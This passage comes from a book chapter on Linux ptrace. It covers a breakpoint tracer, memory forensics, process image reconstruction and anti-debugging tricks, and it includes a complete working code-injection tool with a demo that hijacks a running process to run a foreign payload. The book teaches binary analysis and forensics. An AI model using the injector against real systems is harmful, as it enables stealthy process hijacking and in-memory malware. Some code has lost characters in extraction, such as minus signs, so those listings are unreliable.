  printf("Section header table not found\n");
  exit(-1);
}
if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
  printf("Unable to find symbol: %s not found in executable\n",  
    h.symname);
  exit(-1);
}
close(fd);
if (mode == EXE_MODE) {
  if ((pid = fork()) < 0) {
    perror("fork");
    exit(-1);
  }
  if (pid == 0) {
    if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
      perror("PTRACE_TRACEME");
      exit(-1);
    }
    execve(h.exec, args, envp);
    exit(0);
  }
} else { // attach to the process 'pid'
  if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
    perror("PTRACE_ATTACH");
    exit(-1);
  }
}
wait(&status); // wait tracee to stop
global_pid = pid;
printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr);
// Read the 8 bytes at h.symaddr
if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
  perror("PTRACE_PEEKTEXT");
  exit(-1);
}
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// set a break point
trap = (orig & ~0xff) | 0xcc;
if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
  perror("PTRACE_POKETEXT");
  exit(-1);
}
// Begin tracing execution
trace:
if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
  perror("PTRACE_CONT");
  exit(-1);
}
wait(&status);

/*
    * If we receive a SIGTRAP then we presumably hit a break
    * Point instruction. In which case we will print out the
    *current register state.
*/
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
  if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(-1);
  }
  printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n",  
    h.exec, pid, h.symaddr);
  printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n"
  "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n"
  "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n"
  "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n"
  "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx",
  h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,
  h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,
  h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10,
  h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13,
  h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);
  printf("\nPlease hit any key to continue: ");
  getchar();
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
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  }
  h.pt_reg.rip = h.pt_reg.rip 1;
  if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
  exit(-1);
  }
  if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
    perror("PTRACE_SINGLESTEP");
    exit(-1);
  }
  wait(NULL);
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
  }
  goto trace;
}
if (WIFEXITED(status)){
  printf("Completed tracing pid: %d\n", pid);
  exit(0);
}

/* This function will lookup a symbol by name, specifically from
 * The .symtab section, and return the symbol value.
 */

Elf64_Addr lookup_symbol(handle_t *h, const char *symname)
{
  int i, j;
  char *strtab;
  Elf64_Sym *symtab;
  for (i = 0; i < h->ehdr->e_shnum; i++) {
    if (h->shdr[i].sh_type == SHT_SYMTAB) {
      strtab = (char *)
      &h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
      symtab = (Elf64_Sym *)
      &h->mem[h->shdr[i].sh_offset];
      for (j = 0; j < h>
      shdr[i].sh_size/sizeof(Elf64_Sym); j++) {
        if(strcmp(&strtab[symtab->st_name], symname) == 0)
        return (symtab->st_value);
        symtab++;
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      }
    }
  }
  return 0;
}

/*
* This function will parse the cmdline proc entry to retrieve
* the executable name of the process.
*/
char * get_exe_name(int pid)
{
  char cmdline[255], path[512], *p;
  int fd;
  snprintf(cmdline, 255, "/proc/%d/cmdline", pid);
  if ((fd = open(cmdline, O_RDONLY)) < 0) {
    perror("open");
    exit(-1);
  }
  if (read(fd, path, 512) < 0) {
    perror("read");
    exit(-1);
  }
  if ((p = strdup(path)) == NULL) {
    perror("strdup");
    exit(-1);
  }
  return p;
}
void sighandler(int sig)
{
  printf("Caught SIGINT: Detaching from %d\n", global_pid);
  if (ptrace(PTRACE_DETACH, global_pid, NULL, NULL) < 0 && errno) {
    perror("PTRACE_DETACH");
    exit(-1);
  }
  exit(0);
}
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Using ./tracer (version 2), we can now attach to an already running process,  
then set a breakpoint on the desired function, and trace the execution. Here is an 
example of tracing a program that prints the Hello 1 string 20 times in a loop  
with print_string(char *s);:

ryan@elfmaster:~$ ./tracer -p `pidof ./test2` -f print_string

Beginning analysis of pid: 7075 at 4005bd

Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd

%rcx: ffffffffffffffff

%rdx: 0

%rbx: 0

%rax: 0

%rdi: 4006a4

%rsi: 7fffe93670e0

%r8: 7fffe93671f0

%r9: 0

%r10: 8

%r11: 246

%r12 4004d0

%r13 7fffe93673b0

%r14: 0

%r15: 0

%rsp: 7fffe93672b8

Please hit any key to continue: c

Executable ./test2 (pid: 7075) has hit breakpoint 0x4005bd

%rcx: ffffffffffffffff

%rdx: 0

%rbx: 0

%rax: 0

%rdi: 4006a4

%rsi: 7fffe93670e0

%r8: 7fffe93671f0

%r9: 0

%r10: 8

%r11: 246
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%r12 4004d0

%r13 7fffe93673b0

%r14: 0

%r15: 0

%rsp: 7fffe93672b8

^C

Caught SIGINT: Detaching from 7452

So, we have accomplished the coding of simple debugging software that can 
both execute a program and trace it, or attach to an existing process and trace it. 
This demonstrates the most common type of use cases for ptrace, and most other 
programs you write that use ptrace will be variations of the techniques in the  
tracer.c code.

Advanced function-tracing software
In 2013, I designed a tool that traces function calls. It is quite similar to strace and 
ltrace, but instead of tracing syscalls or library calls, it traces every function 
call made from the executable. This tool was covered in Chapter 2, The ELF Binary 
Format, but it is quite relevant to the topic of ptrace. This is because it is completely 
dependent on ptrace and performs some pretty wicked dynamic analysis using 
control flow monitoring. The source code can be found on GitHub:

https://github.com/leviathansecurity/ftrace

ptrace and forensic analysis
The ptrace() command is the system call that is most commonly used for memory 
analysis of a userland. In fact, if you are designing forensics software that runs in 
userland, the only way it can access other processes memory is through the ptrace 
system call, or by reading the proc filesystem (unless, of course, the program has 
some type of explicit shared memory IPC setup).

One may attach to a process and then open/lseek/read/write  
/proc/<pid>/mem as an alternative to ptrace read/write semantics.

https://github.com/leviathansecurity/ftrace
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In 2011, I was awarded a contract by the DARPA CFT (Cyber Fast Track) program 
to design something called Linux VMA Monitor. The purpose of this software is to 
detect a wide range of known and unknown process memory infections, such as 
rootkits and memory-resident viruses.

It essentially performs automated intelligent memory forensic analysis on every 
single process address space using special heuristics that understands ELF execution. 
It can spot anomalies or parasites, such as hijacked functions and generic code 
infections. The software can either analyze live memory and work as a host intrusion 
detection system, or take snapshots of the process memory and perform an analysis 
on them. This software can also detect and disinfect ELF binaries that are infected 
with viruses on disk.

The ptrace system call is used heavily in the software and demonstrates a lot 
of interesting code around the ELF binary and ELF runtime infections. I have not 
released the source code as I intend to provide a more production-ready version 
prior to the release. Throughout this text, we will cover almost all the infection types 
that Linux VMA Monitor can detect/disinfect, and we will discuss and demonstrate 
the heuristics used to identify these infections.

For well over a decade, hackers have been hiding complex malware within process 
memory to remain stealthy. This may be a combination of shared library injection 
and GOT poisoning, or any other set of techniques. The chances of a system 
administrator finding these are very slim, especially since there is not a lot of 
software publicly available for detecting many of these attacks.

I have released several tools, including but not limited to AVU and ECFS, both 
of which can be found on GitHub and my website at http://bitlackeys.org/. 
Whatever other software is in existence for such things is highly specialized and 
privately used, or it simply may not exist at all. Meanwhile, a good forensics analyst 
can use a debugger or write custom software to detect such malware, and it is 
important to know what you are looking for and why. Since this chapter is all about 
ptrace, I wanted to emphasize how it is interrelated with forensic analysis. And it is, 
and especially for those who are interested in designing specialized software for the 
purpose of identifying threats in memory.

Towards the end of the chapter, we will see how to write a program to detect 
function trampolines in running software.

http://bitlackeys.org/
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What to look for in the memory
An ELF executable is nearly the same in the memory as it is on the disk, with the 
exception of changes to the data segment variables, global offset table, function 
pointers, and uninitialized variables (the .bss section).

This means that many of the virus or rootkit techniques that are used in ELF binaries 
can also be applied to processes (runtime code), and therefore they are better for an 
attacker to remain hidden. We will cover all of these common infection vectors in 
depth throughout the book, but here is a list of some techniques that have been used 
to implement infectious code:

Infection technique Intended results Residency type
GOT infection Hijacking shared library 

functions
Process memory 
or executable file

Procedure linkage table (PLT) 
infection

Hijacking shared library 
functions

Process memory 
or executable file

The .ctors/.dtors function pointer 
modification

Altering the control flow to 
malicious code

Process memory 
or executable file

Function trampolines Hijacking any function Process memory 
or executable file

Shared library injection Inserting malicious code Process memory 
or executable file

Relocatable code injection Inserting malicious code Process memory 
or executable file

Direct modification to the text 
segment

Inserting malicious code Process memory 
or executable file

Process possession (injecting an entire 
program into the address space)

Running a totally different 
executable program hidden 
within an existing process

Process memory

Using a combination of ELF format parsing, /proc/<pid>/maps, and ptrace, one can 
create a set of heuristics to detect every one of the preceding techniques, and create 
a counter method to disinfect the process from the so-called parasite code. We will 
delve into all of these techniques throughout the book, primarily in Chapter 4, ELF 
Virus Technology – Linux/Unix Viruses and Chapter 6, ELF Binary Forensics in Linux.
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Process image reconstruction – from the 
memory to the executable
One neat exercise to test our abilities with both the ELF format and ptrace is to 
design software that can reconstruct a process image back into a working executable. 
This is especially useful for the type of forensic work where we find a suspicious 
program running on the system. Extended core file snapshot (ECFS) technology 
is capable of this and extends the functionality into an innovative forensics and 
debugging format that is backward compatible with the traditional Linux core files' 
format. This is available at https://github.com/elfmaster/ecfs and is further 
documented in Chapter 8, ECFS – Extended Core File Snapshot Technology, in this 
book. Quenya also has this feature and is available for download at http://www.
bitlackeys.org/projects/quenya_32bit.tgz.

Challenges for process-executable 
reconstruction
In order to reconstruct a process back into an executable we must first consider the 
challenges involved, as there are a myriad things to consider. There is one particular 
type of variables over which we have no control, and these are the global variables in 
the initialized data. They will have possibly changed at runtime to variables dictated 
by the code, and we will have no way of knowing what they are supposed to be 
initialized to before runtime. We may not even be able to find this out by static  
code analysis.

The following are the goals for executable reconstruction:

• Take a process ID as an argument and reconstruct that process image back 
into its executable file state

• We should construct a minimal set of section headers so that the program can 
be analyzed by tools such as objdump and gdb with better accuracy

Challenges for executable reconstruction
Full executable reconstruction is possible, but it comes with some challenges, 
especially when reconstructing a dynamically linked executable. Here, we will go 
over what the primary challenges are and what the general solution is for each one.

https://github.com/elfmaster/ecfs
http://www.bitlackeys.org/projects/quenya_32bit.tgz
http://www.bitlackeys.org/projects/quenya_32bit.tgz
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PLT/GOT integrity
The global offset table will be filled in with the resolved values of the corresponding 
shared library functions. This was, of course, done by the dynamic linker, and so 
we must replace these addresses with the original PLT stub addresses. We do this 
so that when the shared library functions are called for the first time, they trigger 
the dynamic linker properly through the PLT instruction that pushes the GOT offset 
onto the stack. Refer to the ELF and dynamic linking section of Chapter 2, The ELF 
Binary Format.

The following diagram demonstrates how GOT entries must be restored:

Adding a section header table
Remember that a program's section header table is not loaded into the memory at 
runtime. This is because it is not needed. When reconstructing a process image back 
into an executable, it would be desirable (although not necessary) to add a section 
header table. It is perfectly possible to add every section header entry that was on  
the original executable, but a good ELF hacker can generate at least the basics.

So try to create a section header for the following sections: .interp, .note, .text, 
.dynamic, .got.plt, .data, .bss, .shstrtab, .dynsym, and .dynstr.

If the executable that you are reconstructing is statically linked, then you 
won't have the .dynamic, .got.plt, .dynsym, or .dynstr sections.
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The algorithm for the process
Let's look at executable reconstruction:

1. Locate the base address of the executable (text segment). This can be done by 
parsing /proc/<pid>/maps:
[First line of output from /proc/<pid>/maps file for program 
'evil']

00400000-401000 r-xp /home/ryan/evil

Use the PTRACE_PEEKTEXT request with ptrace to read in the 
entire text segment. You can see in a line from the preceding maps 
output that the address range for the text segment (marked r-xp) 
is 0x400000 to 0x401000, which is 4096 bytes. So, this is how 
large your buffer should be for the text segment. Since we have not 
covered how to use PTRACE_PEEKTEXT to read more than a long-
sized word at a time, I have written a function called pid_read() 
that demonstrates a good way to do this.

[Source code for pid_read() function]
int pid_read(int pid, void *dst, const void *src, size_t len)
{
  int sz = len / sizeof(void *);
  unsigned char *s = (unsigned char *)src;
  unsigned char *d = (unsigned char *)dst;
  unsigned long word;
  while (sz!=0) {
    word = ptrace(PTRACE_PEEKTEXT, pid, (long *)s, NULL);
    if (word == 1)
    return 1;
    *(long *)d = word;
    s += sizeof(long);
    d += sizeof(long);
  }
  return 0;
}

2. Parse the ELF file header (for example, Elf64_Ehdr) to locate the program 
header table:
/* Where buffer is the buffer holding the text segment */
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)buffer;
Elf64_Phdr *phdr = (Elf64_Phdr *)&buffer[ehdr->e_phoff];
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3. Then parse the program header table to find the data segment:
for (c = 0; c < ehdr>e_phnum; c++)
if (phdr[c].p_type == PT_LOAD && phdr[c].p_offset) {
  dataVaddr = phdr[c].p_vaddr;
  dataSize = phdr[c].p_memsz;
  break;
}
pid_read(pid, databuff, dataVaddr, dataSize);

4. Read the data segment into a buffer, and locate the dynamic segment  
within it and then the GOT. Use d_tag from the dynamic segment to  
locate the GOT:

We discussed the dynamic segment and its tag values in the 
Dynamic linking section of Chapter 2, The ELF Binary Format.

Elf64_Dyn *dyn;
for (c = 0; c < ehdr->e_phnum; c++) {
  if (phdr[c].p_type == PT_DYNAMIC) {
    dyn = (Elf64_Dyn *)&databuff[phdr[c].p_vaddr – dataAddr];
    break;
  }
  if (dyn) {
    for (c = 0; dyn[c].d_tag != DT_NULL; c++) {
      switch(dyn[c].d_tag) {
        case DT_PLTGOT:
        gotAddr = dyn[i].d_un.d_ptr;
        break;
        case DT_STRTAB:
        /* Get .dynstr info */
        break;
        case DT_SYMTAB:
        /* Get .dynsym info */
        break;
      }
    }
  }
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5. Once the GOT has been located, it must be restored to its state prior to runtime. 
The part that matters the most is restoring the original PLT stub addresses in 
each GOT entry so that lazy linking works at program runtime. See the ELF 
dynamic linking section of Chapter 2, The ELF Binary Format:
00000000004003e0 <puts@plt>:

4003e0: ff 25 32 0c 20 00 jmpq *0x200c32(%rip) # 601018 

4003e6: 68 00 00 00 00 pushq $0x0

4003eb: e9 e0 ff ff ff jmpq 4003d0 <_init+0x28>

6. The GOT entry that is reserved for puts() should be patched to point back 
to the PLT stub code that pushes the GOT offset onto the stack for that 
entry. The address for this, 0x4003e6, is given in the preceding command. 
The method for determining the GOT-to-PLT entry relationship is left as an 
exercise for the reader.

7. Optionally reconstruct a section header table. Then write the text and data 
segment (and the section header table) to the disk.

Process reconstruction with Quenya on  
a 32-bit test environment
A 32-bit ELF executable named dumpme simply prints the You can Dump my 
segments! string and then pauses, giving us time to reconstruct it.

Now, the following code demonstrates Quenya reconstructing a process image into 
an executable:

[Quenya v0.1@ELFWorkshop]
rebuild 2497 dumpme.out
[+] Beginning analysis for executable reconstruction of process image 
(pid: 2497)
[+] Getting Loadable segment info...
[+] Found loadable segments: text segment, data segment
Located PLT GOT Vaddr 0x804a000
Relevant GOT entries begin at 0x804a00c
[+] Resolved PLT: 0x8048336
PLT Entries: 5
Patch #1 [
0xb75f7040] changed to [0x8048346]
Patch #2 [
0xb75a7190] changed to [0x8048356]
Patch #3 [
0x8048366] changed to [0x8048366]
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Patch #4 [
0xb755a990] changed to [0x8048376]
[+] Patched GOT with PLT stubs
Successfully rebuilt ELF object from memory
Output executable location: dumpme.out
[Quenya v0.1@ELFWorkshop]
quit

Here, we are demonstrating that the output executable runs correctly:

hacker@ELFWorkshop:~/

workshop/labs/exercise_9$ ./dumpme.out

You can Dump my segments!

Quenya has created a minimal section header table for the executable as well:

hacker@ELFWorkshop:~/

workshop/labs/exercise_9$ readelf -S

dumpme.out

There are seven section headers, starting at the offset 0x1118, as shown here:

The source code for process reconstruction in Quenya is located primarily in 
rebuild.c, and Quenya may be downloaded from my site at http://www.
bitlackeys.org/.

Code injection with ptrace
So far we have examined some interesting use cases for ptrace, including process 
analysis and process image reconstruction. Another common use of ptrace is for 
introducing new code into a running process and executing it. This is commonly 
done by attackers to modify a running program so that it does something else,  
such as load a malicious shared library into the process address space.

http://www.bitlackeys.org/
http://www.bitlackeys.org/
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In Linux, the default ptrace() behavior is such that it allows you to write Using 
PTRACE_POKETEXT to segments that are not writable, such as the text segment. This 
is because it is expected that debuggers will need to insert breakpoints into the code. 
This works out great for hackers who want to insert code into memory and execute 
it. To demonstrate this, we have written code_inject.c. This attaches to a process 
and injects a shellcode that will create an anonymous memory mapping large 
enough to hold our payload executable, payload.c, which is then injected into  
the new memory and executed.

As mentioned earlier in this chapter, Linux kernels that are patched 
with PaX will not allow ptrace() to write to segments that are 
not writable. This is for further enforcement of memory protection 
restrictions. In the paper ELF runtime infection via GOT poisoning, I have 
discussed methods of bypassing these restrictions by manipulating the 
vsyscall table with ptrace.

Now, let's look at a code example where we inject a shellcode into a running process 
that loads a foreign executable:

To compile: gcc code_inject.c o code_inject
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>
#define PAGE_ALIGN(x) (x & ~(PAGE_SIZE 1))
#define PAGE_ALIGN_UP(x) (PAGE_ALIGN(x) + PAGE_SIZE)
#define WORD_ALIGN(x) ((x + 7) & ~7)
#define BASE_ADDRESS 0x00100000
typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;
  pid_t pid;
  uint8_t *shellcode;
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  char *exec_path;
  uint64_t base;
  uint64_t stack;
  uint64_t entry;
  struct user_regs_struct pt_reg;
} handle_t;

static inline volatile void *
evil_mmap(void *, uint64_t, uint64_t, uint64_t, int64_t, uint64_t)
__attribute__((aligned(8),__always_inline__));
uint64_t injection_code(void *) __attribute__((aligned(8)));
uint64_t get_text_base(pid_t);
int pid_write(int, void *, const void *, size_t);
uint8_t *create_fn_shellcode(void (*fn)(), size_t len);

void *f1 = injection_code;
void *f2 = get_text_base;

static inline volatile long evil_write(long fd, char *buf, unsigned 
long len)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov $1, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf), "g"(len));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}

static inline volatile int evil_fstat(long fd, struct stat *buf)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $5, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}
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static inline volatile int evil_open 
  (const char *path, unsigned long flags)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov $2, %%rax\n"
    "syscall" : : "g"(path), "g"(flags));
    asm ("mov %%rax, %0" : "=r"(ret));
  return ret;
}

static inline volatile void * evil_mmap(void *addr, uint64_t len,  
  uint64_t prot, uint64_t flags, int64_t fd, uint64_t off)
{
  long mmap_fd = fd;
  unsigned long mmap_off = off;
  unsigned long mmap_flags = flags;
  unsigned long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov %3, %%r10\n"
    "mov %4, %%r8\n"
    "mov %5, %%r9\n"
    "mov $9, %%rax\n"
    "syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags),
    "g"(mmap_fd), "g"(mmap_off));
  asm ("mov %%rax, %0" : "=r"(ret));
  return (void *)ret;
}

uint64_t injection_code(void * vaddr)
{
  volatile void *mem;
  mem = evil_mmap(vaddr,8192,
  PROT_READ|PROT_WRITE|PROT_EXEC,
  MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,1,0);
  __asm__ __volatile__("int3");
}
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#define MAX_PATH 512

uint64_t get_text_base(pid_t pid)
{
  char maps[MAX_PATH], line[256];
  char *start, *p;
  FILE *fd;
  int i;
  Elf64_Addr base;
  snprintf(maps, MAX_PATH 1,
  "/proc/%d/maps", pid);
  if ((fd = fopen(maps, "r")) == NULL) {
    fprintf(stderr, "Cannot open %s for reading: %s\n", maps,  
      strerror(errno));
    return 1;
  }
  while (fgets(line, sizeof(line), fd)) {
    if (!strstr(line, "rxp"))
    continue;
    for (i = 0, start = alloca(32), p = line; *p != ''; i++, p++)
    start[i] = *p;

    start[i] = '\0';
    base = strtoul(start, NULL, 16);
    break;
  }
  fclose(fd);
  return base;
}

uint8_t * create_fn_shellcode(void (*fn)(), size_t len)
{
  size_t i;
  uint8_t *shellcode = (uint8_t *)malloc(len);
  uint8_t *p = (uint8_t *)fn;
  for (i = 0; i < len; i++)
  *(shellcode + i) = *p++;
  return shellcode;
}

int pid_read(int pid, void *dst, const void *src, size_t len)
{
  int sz = len / sizeof(void *);
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  unsigned char *s = (unsigned char *)src;
  unsigned char *d = (unsigned char *)dst;
  long word;
  while (sz!=0) {
    word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
    if (word == 1 && errno) {
      fprintf(stderr, "pid_read failed, pid: %d: %s\n",  
        pid,strerror(errno));
      goto fail;
    }
    *(long *)d = word;
    s += sizeof(long);
    d += sizeof(long);
  }
  return 0;
  fail:
  perror("PTRACE_PEEKTEXT");
  return 1;
}

int pid_write(int pid, void *dest, const void *src, size_t len)
{
  size_t quot = len / sizeof(void *);
  unsigned char *s = (unsigned char *) src;
  unsigned char *d = (unsigned char *) dest;
  while (quot!= 0) {
    if ( ptrace(PTRACE_POKETEXT, pid, d, *(void **)s) == 1)
    goto out_error;
    s += sizeof(void *);
    d += sizeof(void *);
  }
  return 0;
  out_error:
  perror("PTRACE_POKETEXT");
  return 1;
}

int main(int argc, char **argv)
{
  handle_t h;
  unsigned long shellcode_size = f2 f1;
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  int i, fd, status;
  uint8_t *executable, *origcode;
  struct stat st;
  Elf64_Ehdr *ehdr;
  if (argc < 3) {
    printf("Usage: %s <pid> <executable>\n", argv[0]);
    exit(1);
  }
  h.pid = atoi(argv[1]);
  h.exec_path = strdup(argv[2]);
  if (ptrace(PTRACE_ATTACH, h.pid) < 0) {
    perror("PTRACE_ATTACH");
    exit(1);
  }
  wait(NULL);
  h.base = get_text_base(h.pid);
  shellcode_size += 8;
  h.shellcode = create_fn_shellcode((void *)&injection_code,  
    shellcode_size);
  origcode = alloca(shellcode_size);
  if (pid_read(h.pid, (void *)origcode, (void *)h.base,  
    shellcode_size) < 0)
  exit(1);
  if (pid_write(h.pid, (void *)h.base, (void *)h.shellcode,  
    shellcode_size) < 0)
  exit(1);
  if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(1);
  }
  h.pt_reg.rip = h.base;
  h.pt_reg.rdi = BASE_ADDRESS;
  if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
    exit(1);
  }
  if (ptrace(PTRACE_CONT, h.pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(1);
  }
  wait(&status);
  if (WSTOPSIG(status) != SIGTRAP) {
    printf("Something went wrong\n");
    exit(1);
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  }
  if (pid_write(h.pid, (void *)h.base, (void *)origcode,  
    shellcode_size) < 0)
  exit(1);
  if ((fd = open(h.exec_path, O_RDONLY)) < 0) {
    perror("open");
    exit(1);
  }
  if (fstat(fd, &st) < 0) {
    perror("fstat");
    exit(1);
  }
  executable = malloc(WORD_ALIGN(st.st_size));
  if (read(fd, executable, st.st_size) < 0) {
    perror("read");
    exit(1);
  }
  ehdr = (Elf64_Ehdr *)executable;
  h.entry = ehdr->e_entry;
  close(fd);
  if (pid_write(h.pid, (void *)BASE_ADDRESS, (void *)executable,  
    st.st_size) < 0)
  exit(1);
  if (ptrace(PTRACE_GETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_GETREGS");
    exit(1);
  }
  h.entry = BASE_ADDRESS + h.entry;
  h.pt_reg.rip = h.entry;
  if (ptrace(PTRACE_SETREGS, h.pid, NULL, &h.pt_reg) < 0) {
    perror("PTRACE_SETREGS");
    exit(1);
  }
  if (ptrace(PTRACE_DETACH, h.pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(1);
  }
  wait(NULL);
  exit(0);
}
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Here's the source code for payload.c. It is compiled without libc linking and with 
position-independent code:

To Compile: gcc -fpic -pie -nostdlib payload.c -o payload

long _write(long fd, char *buf, unsigned long len)
{
  long ret;
  __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov $1, %%rax\n"
    "syscall" : : "g"(fd), "g"(buf), "g"(len));
  asm("mov %%rax, %0" : "=r"(ret));
  return ret;
}

void Exit(long status)
{
  __asm__ volatile("mov %0, %%rdi\n"
  "mov $60, %%rax\n"
  "syscall" : : "r"(status));
}

_start()
{
  _write(1, "I am the payload who has hijacked your process!\n", 48);
  Exit(0);
}

Simple examples aren't always so trivial
Although the source code for our code injection doesn't appear really trivial, the 
code_inject.c source code is a slightly dampened-down version of a real memory 
infector. I say this because it is limited to injecting position-independent code, and 
it loads the text and data segments of the payload executable into the same memory 
region back to back.
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If the payload program were to reference any variables in the data segment, they 
would not work, so in a real scenario, there would have to be proper page alignment 
between the two segments. In our case, the payload program is very basic and 
simply writes a string to the terminal's standard output. Also in a real scenario, the 
attacker generally wants to save the original instruction pointer and registers and 
then resume execution at that point after the shellcode has been run. In our case,  
we just let the shellcode print a string and then exit the entire program.

Most hackers inject shared libraries or relocatable code into a process address  
space. The idea of injecting complex executables into a process address space is  
a technique that I've not seen before, other than with my own experimentation  
and implementations.

A good example of injecting complex programs into a process address 
space can be found in the elfdemon source code, which allows a user 
to inject a full dynamically linked executable of the ET_EXEC type into 
an existing process without overwriting the host program. This task 
has many challenges and can be found in an experimental project of 
mine at the following link:
http://www.bitlackeys.org/projects/elfdemon.tgz

Demonstrating the code_inject tool
As we can see, our program injects and executes a shellcode that creates an 
executable memory mapping, where the payload program is then injected  
and executed:

1. Run the host program (the one that you want to infect):
ryan@elfmaster:~$ ./host &

[1] 29656

I am but a simple program, please don't infect me.

2. Run code_inject and tell it to inject the program named payload into the 
process for the host:
ryan@elfmaster:~$ ./code_inject `pidof host` payload

I am the payload who has hijacked your process!

[1]+ Done ./host

http://www.bitlackeys.org/projects/elfdemon.tgz
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You may have noticed that there appears to be no traditional shellcode (byte code) in 
code_inject.c. That's because the uint64_t injection_code(void *) function 
is our shellcode. Since it is already compiled into machine instructions, we just 
calculated its length and passed its address to pid_write() in order to inject it into 
the process. This, in my opinion, is a more elegant way of doing things than the more 
common method of including an array of byte code.

A ptrace anti-debugging trick
The ptrace command can be used as an anti-debugging technique. Often when  
a hacker doesn't want their program to be easily debugged, they include certain  
anti-debugging techniques. One popular way in Linux is to use ptrace with the 
PTRACE_TRACEME request so that it traces the process of itself.

Remember that a process can only have one tracer at a time, so if a process is already 
being traced and a debugger tries to attach using ptrace, it says Operation not 
permitted. PTRACE_TRACEME can also be used to check whether your program is 
already being debugged. You can use the code in the following section to check this.

Is your program being traced?
Let's take a look at a code snippet that will use ptrace to find out whether your 
program is already being traced:

if (ptrace(PTRACE_TRACEME, 0) < 0) {
printf("This process is being debugged!!!\n");
exit(1);
}

The preceding code works because it should only fail if the program is already being 
traced. So, if ptrace returns an error value (less than 0) with PTRACE_TRACEME, you 
can be certain that a debugger is present and then exit the program.

If a debugger is not present, then PTRACE_TRACEME will 
succeed, and now that the program is tracing itself, any 
attempts by a debugger to trace the program will fail. So, it is 
a nice anti-debugging measure.



Linux Process Tracing

[ 90 ]

As shown in Chapter 1, The Linux Environment and Its Tools, the LD_PRELOAD 
environment variable may be used to bypass this anti-debug measure by tricking the 
program into loading a fake ptrace command that does nothing but return 0, and 
will therefore not have any effect against debuggers. On the contrary, if a program 
uses the ptrace anti-debugging trick without using the libc ptrace wrapper—and 
instead creates its own wrapper—then the LD_PRELOAD trick will not work. This is 
because the program is not relying on any library for access to ptrace.

Here is an alternative way to use ptrace by writing your own wrapper for it. We 
will be using the x86_64 ptrace wrapper in this example:

#define SYS_PTRACE 101
long my_ptrace(long request, long pid, void *addr, void *data)
{
   long ret;
    __asm__ volatile(
    "mov %0, %%rdi\n"
    "mov %1, %%rsi\n"
    "mov %2, %%rdx\n"
    "mov %3, %%r10\n"
    "mov $SYS_PTRACE, %%rax\n"
    "syscall" : : "g"(request), "g"(pid),
    "g"(addr), "g"(data));
    __asm__ volatile("mov %%rax, %0" : "=r"(ret));
    return ret;
}

Summary
In this chapter, you learned about the importance of the ptrace system call and how 
it can be used in conjunction with viruses and memory infections. On the flip side, 
it is a powerful tool for security researchers, reverse engineering, and advanced hot 
patching techniques.

The ptrace system call will be used periodically throughout the rest of this book.  
Let this chapter serve only as a primer.

In the next chapter, we will cover the exciting world of Linux ELF virus infection  
and the engineering practices behind virus creation.
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ELF Virus Technology – 
Linux/Unix Viruses

The art of virus writing has been around for several decades now. In fact, it goes all 
the way back to the Elk Cloner Apple virus that was successfully launched in the 
wild in 1981 through a floppy disk video game. Since the mid '80s and through the 
'90s, there have been various secret groups and hackers who have used their arcane 
